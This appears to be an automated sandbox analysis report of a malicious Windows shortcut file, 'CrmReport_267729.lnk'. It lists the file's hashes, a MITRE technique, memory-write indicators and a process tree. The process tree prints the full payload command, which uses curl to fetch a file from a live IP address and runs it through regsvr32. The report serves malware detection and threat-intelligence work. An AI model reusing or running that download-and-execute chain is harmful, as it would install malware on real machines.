11ae9e0230e6081227a89b1c885cccead75c42b3a1fca36793121309b3ea8c7b

Analysis

Target
CrmReport_267729/CrmReport_267729.lnk
Size 2KB
Sample220628-wbfpcabccj
SHA256 ca0aac3f0e8d7e6d9e3e25dc91078d4e955f523fc166f976e209aad45542edb0
MD5 b4e013f3fc721e163d311d6d9ae38fd8
SHA1 5e0abe9df79ccfa6af74c882938630298bc80869
SHA512 ac0b8c7e9f1089b2134e639f4207ca3d71aca454b2fbaf8c6e58c6069502f7885f9e52c9e7e262ddbe09fd82cf87d60ea798c78740048326c2ece67211b05ee2
MD5 SHA1 SHA512

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1960 wrote to memory of 1520	1960	cmd.exe	29
PID 1960 wrote to memory of 1520	1960	cmd.exe	29
PID 1960 wrote to memory of 1520	1960	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\CrmReport_267729\CrmReport_267729.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\Windows\system32\curl -s -o C:\Users\Admin\AppData\Local\Temp\moreHe.rtf http://146.70.79.52/whenYouGive.dat&&C:\Windows\system32\regsvr32 C:\Users\Admin\AppData\Local\Temp\moreHe.rtf
  2⤵
  PID:1520

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/1960-54-0x000007FEFBEB1000-0x000007FEFBEB3000-memory.dmp

Download